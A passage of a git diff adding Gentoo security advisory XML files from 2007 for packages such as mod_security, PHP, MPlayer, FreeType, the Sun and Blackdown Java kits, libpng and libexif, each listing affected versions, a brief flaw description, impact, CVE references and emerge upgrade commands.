+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2025">CVE-2007-2025</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 10 May 2007 13:26:06 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 11 May 2007 14:10:41 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 14 May 2007 18:47:51 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200705-17.xml b/xml/htdocs/security/en/glsa/glsa-200705-17.xml
new file mode 100644
index 00000000..de5b0ef9
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200705-17.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200705-17">
+  <title>Apache mod_security: Rule bypass</title>
+  <synopsis>
+    A vulnerability has been discovered in mod_security, allowing a remote
+    attacker to bypass rules.
+  </synopsis>
+  <product type="ebuild">mod_security</product>
+  <announced>May 17, 2007</announced>
+  <revised>December 30, 2007: 02</revised>
+  <bug>169778</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apache/mod_security" auto="yes" arch="*">
+      <unaffected range="ge">2.1.1</unaffected>
+      <vulnerable range="lt">2.1.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    mod_security is an Apache module designed for enhancing the security of
+    the Apache web server.
+    </p>
+  </background>
+  <description>
+    <p>
+    Stefan Esser discovered that mod_security processes NULL characters as
+    terminators in POST requests using the
+    application/x-www-form-urlencoded encoding type, while other parsers
+    used in web applications do not.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    A remote attacker could send a specially crafted POST request, possibly
+    bypassing the module ruleset and leading to the execution of arbitrary
+    code in the scope of the web server with the rights of the user running
+    the web server.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All mod_security users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apache/mod_security-2.1.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1359">CVE-2007-1359</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 11 May 2007 23:14:33 +0000">
+    shellsage
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 13 May 2007 04:49:45 +0000">
+    shellsage
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 13 May 2007 13:46:57 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200705-18.xml b/xml/htdocs/security/en/glsa/glsa-200705-18.xml
new file mode 100644
index 00000000..88550686
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200705-18.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200705-18">
+  <title>PPTPD: Denial of Service attack</title>
+  <synopsis>
+    A vulnerability has been reported in PPTPD which could lead to a Denial of
+    Service.
+  </synopsis>
+  <product type="ebuild">pptpd</product>
+  <announced>May 20, 2007</announced>
+  <revised>May 20, 2007: 01</revised>
+  <bug>176936</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-dialup/pptpd" auto="yes" arch="*">
+      <unaffected range="ge">1.3.4</unaffected>
+      <vulnerable range="lt">1.3.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PPTPD is a Point-to-Point Tunnelling Protocol Daemon for Linux.
+    </p>
+  </background>
+  <description>
+    <p>
+    James Cameron from HP has reported a vulnerability in PPTPD caused by
+    malformed GRE packets.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could exploit this vulnerability to cause a Denial of
+    Service on the PPTPD connection.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PPTPD users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-dialup/pptpd-1.3.4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0244">CVE-2007-0244</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 11 May 2007 07:06:10 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 11 May 2007 07:14:40 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 14 May 2007 17:58:13 +0000">
+    dizzutch
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200705-19.xml b/xml/htdocs/security/en/glsa/glsa-200705-19.xml
new file mode 100644
index 00000000..0d1918eb
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200705-19.xml
@@ -0,0 +1,104 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200705-19">
+  <title>PHP: Multiple vulnerabilities</title>
+  <synopsis>
+    PHP contains several vulnerabilities including buffer and integer overflows
+    which could under certain conditions lead to the remote execution of
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">php</product>
+  <announced>May 26, 2007</announced>
+  <revised>March 29, 2008: 02</revised>
+  <bug>169372</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-lang/php" auto="yes" arch="*">
+      <unaffected range="rge">4.4.7</unaffected>
+      <unaffected range="rge">4.4.8_pre20070816</unaffected>
+      <unaffected range="ge">5.2.2</unaffected>
+      <vulnerable range="lt">5.2.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PHP is a widely-used general-purpose scripting language that is
+    especially suited for Web development and can be embedded into HTML.
+    </p>
+  </background>
+  <description>
+    <p>
+    Several vulnerabilities were found in PHP, most of them during the
+    Month Of PHP Bugs (MOPB) by Stefan Esser. The most severe of these
+    vulnerabilities are integer overflows in wbmp.c from the GD library
+    (CVE-2007-1001) and in the substr_compare() PHP 5 function
+    (CVE-2007-1375). Ilia Alshanetsky also reported a buffer overflow in
+    the make_http_soap_request() and in the user_filter_factory_create()
+    functions (CVE-2007-2510, CVE-2007-2511), and Stanislav Malyshev
+    discovered another buffer overflow in the bundled XMLRPC library
+    (CVE-2007-1864). Additionally, the session_regenerate_id() and the
+    array_user_key_compare() functions contain a double-free vulnerability
+    (CVE-2007-1484, CVE-2007-1521). Finally, there exist implementation
+    errors in the Zend engine, in the mb_parse_str(), the unserialize() and
+    the mail() functions and other elements.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    Remote attackers might be able to exploit these issues in PHP
+    applications making use of the affected functions, potentially
+    resulting in the execution of arbitrary code, Denial of Service,
+    execution of scripted contents in the context of the affected site,
+    security bypass or information leak.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PHP 5 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-lang/php-5.2.2&quot;</code>
+    <p>
+    All PHP 4 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-lang/php-4.4.7&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1001">CVE-2007-1001</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1285">CVE-2007-1285</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1286">CVE-2007-1286</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1484">CVE-2007-1484</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1521">CVE-2007-1521</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1583">CVE-2007-1583</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1700">CVE-2007-1700</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1701">CVE-2007-1701</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1711">CVE-2007-1711</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1717">CVE-2007-1717</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1718">CVE-2007-1718</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1864">CVE-2007-1864</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1900">CVE-2007-1900</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2509">CVE-2007-2509</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2510">CVE-2007-2510</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2511">CVE-2007-2511</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 20 May 2007 07:27:54 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 20 May 2007 07:28:08 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 21 May 2007 21:15:17 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200705-20.xml b/xml/htdocs/security/en/glsa/glsa-200705-20.xml
new file mode 100644
index 00000000..f8436581
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200705-20.xml
@@ -0,0 +1,90 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200705-20">
+  <title>Blackdown Java: Applet privilege escalation</title>
+  <synopsis>
+    The Blackdown JDK and the Blackdown JRE suffer from the multiple
+    unspecified vulnerabilities that already affected the Sun JDK and JRE.
+  </synopsis>
+  <product type="ebuild">blackdown-jdk,blackdown-jre</product>
+  <announced>May 26, 2007</announced>
+  <revised>May 26, 2007: 01</revised>
+  <bug>161835</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-java/blackdown-jdk" auto="yes" arch="*">
+      <unaffected range="ge">1.4.2.03-r14</unaffected>
+      <vulnerable range="lt">1.4.2.03-r14</vulnerable>
+    </package>
+    <package name="dev-java/blackdown-jre" auto="yes" arch="*">
+      <unaffected range="ge">1.4.2.03-r14</unaffected>
+      <vulnerable range="lt">1.4.2.03-r14</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Blackdown provides implementations of the Java Development Kit (JDK)
+    and the Java Runtime Environment (JRE).
+    </p>
+  </background>
+  <description>
+    <p>
+    Chris Evans has discovered multiple buffer overflows in the Sun JDK and
+    the Sun JRE possibly related to various AWT and font layout functions.
+    Tom Hawtin has discovered an unspecified vulnerability in the Sun JDK
+    and the Sun JRE relating to unintended applet data access. He has also
+    discovered multiple other unspecified vulnerabilities in the Sun JDK
+    and the Sun JRE allowing unintended Java applet or application resource
+    acquisition. Additionally, a memory corruption error has been found in
+    the handling of GIF images with zero width field blocks.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to run a specially crafted Java applet
+    or application that could read, write, or execute local files with the
+    privileges of the user running the JVM, access data maintained in other
+    Java applets, or escalate the privileges of the currently running Java
+    applet or application allowing for unauthorized access to system
+    resources.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Disable the "nsplugin" USE flag in order to prevent web applets from
+    being run.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    Since there is no fixed update from Blackdown and since the flaw only
+    occurs in the applets, the "nsplugin" USE flag has been masked in the
+    portage tree. Emerge the ebuild again in order to fix the
+    vulnerability. Another solution is to switch to another Java
+    implementation such as the Sun implementation (dev-java/sun-jdk and
+    dev-java/sun-jre-bin).
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;dev-java/blackdown-jdk&quot;
+    # emerge --ask --oneshot --verbose &quot;dev-java/blackdown-jre&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6731">CVE-2006-6731</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6736">CVE-2006-6736</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6737">CVE-2006-6737</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6745">CVE-2006-6745</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 03 May 2007 18:56:59 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 06 May 2007 22:34:22 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 21 May 2007 21:16:03 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200705-21.xml b/xml/htdocs/security/en/glsa/glsa-200705-21.xml
new file mode 100644
index 00000000..c6ec3438
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200705-21.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200705-21">
+  <title>MPlayer: Two buffer overflows</title>
+  <synopsis>
+    Two vulnerabilities have been discovered in MPlayer, each one could lead to
+    the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">mplayer</product>
+  <announced>May 30, 2007</announced>
+  <revised>October 12, 2007: 02</revised>
+  <bug>168917</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-video/mplayer" auto="yes" arch="*">
+      <unaffected range="ge">1.0.20070321</unaffected>
+      <unaffected range="lt">1.0</unaffected>
+      <vulnerable range="lt">1.0.20070321</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    MPlayer is a media player incuding support for a wide range of audio
+    and video formats.
+    </p>
+  </background>
+  <description>
+    <p>
+    A buffer overflow has been reported in the DMO_VideoDecoder_Open()
+    function in file loader/dmo/DMO_VideoDecoder.c. Another buffer overflow
+    has been reported in the DS_VideoDecoder_Open() function in file
+    loader/dshow/DS_VideoDecoder.c.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted video
+    file, potentially resulting in the execution of arbitrary code with the
+    privileges of the user running MPlayer.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All MPlayer users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-video/mplayer-1.0.20070321&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1246">CVE-2007-1246</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1387">CVE-2007-1387</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200704-09.xml">GLSA 200704-09</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 20 May 2007 07:29:09 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 20 May 2007 07:29:20 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 21 May 2007 13:01:40 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200705-22.xml b/xml/htdocs/security/en/glsa/glsa-200705-22.xml
new file mode 100644
index 00000000..9b8ea179
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200705-22.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200705-22">
+  <title>FreeType: Buffer overflow</title>
+  <synopsis>
+    A vulnerability has been discovered in FreeType allowing for the execution
+    of arbitrary code.
+  </synopsis>
+  <product type="ebuild">freetype</product>
+  <announced>May 30, 2007</announced>
+  <revised>May 30, 2007: 01</revised>
+  <bug>179161</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/freetype" auto="yes" arch="*">
+      <unaffected range="ge">2.3.4-r2</unaffected>
+      <unaffected range="lt">2.0</unaffected>
+      <vulnerable range="lt">2.3.4-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    FreeType is a True Type Font rendering library.
+    </p>
+  </background>
+  <description>
+    <p>
+    Victor Stinner discovered a heap-based buffer overflow in the function
+    Get_VMetrics() in src/truetype/ttgload.c when processing TTF files with
+    a negative n_points attribute.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted TTF
+    file, possibly resulting in the execution of arbitrary code with the
+    privileges of the user running FreeType.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All FreeType users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/freetype-2.3.4-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2754">CVE-2007-2754</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 22 May 2007 15:08:56 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 22 May 2007 15:38:03 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 27 May 2007 16:46:08 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200705-23.xml b/xml/htdocs/security/en/glsa/glsa-200705-23.xml
new file mode 100644
index 00000000..2afaad39
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200705-23.xml
@@ -0,0 +1,102 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200705-23">
+  <title>Sun JDK/JRE: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been identified in Sun Java Development Kit
+    (JDK) and Java Runtime Environment (JRE).
+  </synopsis>
+  <product type="ebuild">sun-jdk,sun-jre-bin</product>
+  <announced>May 31, 2007</announced>
+  <revised>May 28, 2009: 05</revised>
+  <bug>176675</bug>
+  <bug>178851</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-java/sun-jdk" auto="yes" arch="*">
+      <unaffected range="ge">1.5.0.11</unaffected>
+      <unaffected range="rge">1.4.2.14</unaffected>
+      <unaffected range="rge">1.4.2.15</unaffected>
+      <unaffected range="rge">1.4.2.19</unaffected>
+      <vulnerable range="lt">1.5.0.11</vulnerable>
+    </package>
+    <package name="dev-java/sun-jre-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.6.0.01</unaffected>
+      <unaffected range="rge">1.5.0.16</unaffected>
+      <unaffected range="rge">1.5.0.15</unaffected>
+      <unaffected range="rge">1.5.0.12</unaffected>
+      <unaffected range="rge">1.5.0.11</unaffected>
+      <unaffected range="rge">1.4.2.18</unaffected>
+      <unaffected range="rge">1.4.2.17</unaffected>
+      <unaffected range="rge">1.4.2.15</unaffected>
+      <unaffected range="rge">1.4.2.14</unaffected>
+      <unaffected range="rge">1.4.2.19</unaffected>
+      <unaffected range="rge">1.5.0.17</unaffected>
+      <unaffected range="rge">1.5.0.18</unaffected>
+      <vulnerable range="lt">1.6.0.01</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Sun Java Development Kit (JDK) and the Sun Java Runtime Environment
+    (JRE) provide the Sun Java platform.
+    </p>
+  </background>
+  <description>
+    <p>
+    An unspecified vulnerability involving an "incorrect use of system
+    classes" was reported by the Fujitsu security team. Additionally, Chris
+    Evans from the Google Security Team reported an integer overflow
+    resulting in a buffer overflow in the ICC parser used with JPG or BMP
+    files, and an incorrect open() call to /dev/tty when processing certain
+    BMP files.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to run a specially crafted Java
+    class or applet that will trigger one of the vulnerabilities. This
+    could lead to the execution of arbitrary code outside of the Java
+    sandbox and of the Java security restrictions, or crash the Java
+    application or the browser.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Sun Java Development Kit users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;dev-java/sun-jdk&quot;</code>
+    <p>
+    All Sun Java Runtime Environment users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;dev-java/sun-jre-bin&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2435">CVE-2007-2435</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2788">CVE-2007-2788</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2789">CVE-2007-2789</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 21 May 2007 03:51:23 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 27 May 2007 22:03:03 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 31 May 2007 08:44:39 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200705-24.xml b/xml/htdocs/security/en/glsa/glsa-200705-24.xml
new file mode 100644
index 00000000..6f822d88
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200705-24.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200705-24">
+  <title>libpng: Denial of Service</title>
+  <synopsis>
+    A vulnerability in libpng may allow a remote attacker to crash applications
+    that handle untrusted images.
+  </synopsis>
+  <product type="ebuild">libpng</product>
+  <announced>May 31, 2007</announced>
+  <revised>May 31, 2007: 01</revised>
+  <bug>178004</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/libpng" auto="yes" arch="*">
+      <unaffected range="ge">1.2.17</unaffected>
+      <vulnerable range="lt">1.2.17</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    libpng is a free ANSI C library used to process and manipulate PNG
+    images.
+    </p>
+  </background>
+  <description>
+    <p>
+    Mats Palmgren fixed an error in file pngrutil.c in which the trans[]
+    array might be not allocated because of images with a bad tRNS chunk
+    CRC value.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could craft an image that when processed or viewed by
+    an application using libpng causes the application to terminate
+    abnormally.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    Please note that due to separate bugs in libpng 1.2.17, Gentoo does not
+    provide libpng-1.2.17 but libpng-1.2.18. All libpng users should
+    upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/libpng-1.2.18&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2445">CVE-2007-2445</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 27 May 2007 07:35:26 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 27 May 2007 13:49:05 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 31 May 2007 08:41:58 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200705-25.xml b/xml/htdocs/security/en/glsa/glsa-200705-25.xml
new file mode 100644
index 00000000..94699600
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200705-25.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200705-25">
+  <title>file: Integer overflow</title>
+  <synopsis>
+    An integer overflow vulnerability has been reported in file allowing for
+    the user-assisted execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">file</product>
+  <announced>May 31, 2007</announced>
+  <revised>June 01, 2007: 02</revised>
+  <bug>179583</bug>
+  <access>remote</access>
+  <affected>
+    <package name="sys-apps/file" auto="yes" arch="x86 ppc hppa">
+      <unaffected range="ge">4.21</unaffected>
+      <vulnerable range="lt">4.21</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    file is a utility that guesses a file format by scanning binary data
+    for patterns.
+    </p>
+  </background>
+  <description>
+    <p>
+    Colin Percival from FreeBSD reported that the previous fix for the
+    file_printf() buffer overflow introduced a new integer overflow.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could entice a user to run the file program on an
+    overly large file (more than 1Gb) that would trigger an integer
+    overflow on 32-bit systems, possibly leading to the execution of
+    arbitrary code with the rights of the user running file.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    Since file is a system package, all Gentoo users should upgrade to the
+    latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=sys-apps/file-4.21&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2799">CVE-2007-2799</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon, 28 May 2007 10:04:58 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 31 May 2007 06:59:45 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200706-01.xml b/xml/htdocs/security/en/glsa/glsa-200706-01.xml
new file mode 100644
index 00000000..d7bf5d43
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200706-01.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200706-01">
+  <title>libexif: Integer overflow vulnerability</title>
+  <synopsis>
+    libexif fails to handle Exif (EXchangeable Image File) data inputs, making
+    it vulnerable to an integer overflow.
+  </synopsis>
+  <product type="ebuild">libexif</product>
+  <announced>June 05, 2007</announced>
+  <revised>June 05, 2007: 01</revised>
+  <bug>178081</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/libexif" auto="yes" arch="*">
+      <unaffected range="ge">0.6.15</unaffected>
+      <vulnerable range="lt">0.6.15</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    libexif is a library for parsing, editing and saving Exif data.
+    </p>
+  </background>
+  <description>
+    <p>
+    Victor Stinner reported an integer overflow in the
+    exif_data_load_data_entry() function from file exif-data.c while
+    handling Exif data.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to process a file with specially
+    crafted Exif extensions with an application making use of libexif,
+    which will trigger the integer overflow and potentially execute
+    arbitrary code or crash the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
